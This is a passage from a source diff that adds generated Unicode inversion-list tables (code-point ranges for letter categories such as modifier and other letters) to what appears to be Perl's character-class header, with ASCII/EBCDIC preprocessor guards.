+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B0,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2184,
+	0x2185,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7C,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA771,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LM_invlist[] = { /* for all charsets */
+	115,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B0,
 	0x2C2,
 	0x2C6,
 	0x2D2,
@@ -76297,18 +293779,3266 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x300,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x559,
+	0x55A,
+	0x640,
+	0x641,
+	0x6E5,
+	0x6E7,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x971,
+	0x972,
+	0xE46,
+	0xE47,
+	0xEC6,
+	0xEC7,
+	0x10FC,
+	0x10FD,
+	0x17D7,
+	0x17D8,
+	0x1843,
+	0x1844,
+	0x1AA7,
+	0x1AA8,
+	0x1C78,
+	0x1C7E,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303C,
+	0x309D,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA4F8,
+	0xA4FE,
+	0xA60C,
+	0xA60D,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA69E,
+	0xA717,
+	0xA720,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA789,
+	0xA7F8,
+	0xA7FA,
+	0xA9CF,
+	0xA9D0,
+	0xA9E6,
+	0xA9E7,
+	0xAA70,
+	0xAA71,
+	0xAADD,
+	0xAADE,
+	0xAAF3,
+	0xAAF5,
+	0xAB5C,
+	0xAB60,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0x16B40,
+	0x16B44,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LO_invlist[] = { /* for ASCII/Latin1 */
+	919,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x800,
+	0x816,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x972,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE46,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10D0,
+	0x10FB,
+	0x10FD,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1843,
+	0x1844,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C78,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x2135,
+	0x2139,
+	0x2D30,
+	0x2D68,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3006,
+	0x3007,
+	0x303C,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309F,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FF,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA015,
+	0xA016,
+	0xA48D,
+	0xA4D0,
+	0xA4F8,
+	0xA500,
+	0xA60C,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA66E,
+	0xA66F,
+	0xA6A0,
+	0xA6E6,
+	0xA78F,
+	0xA790,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9E0,
+	0xA9E5,
+	0xA9E7,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADD,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF3,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
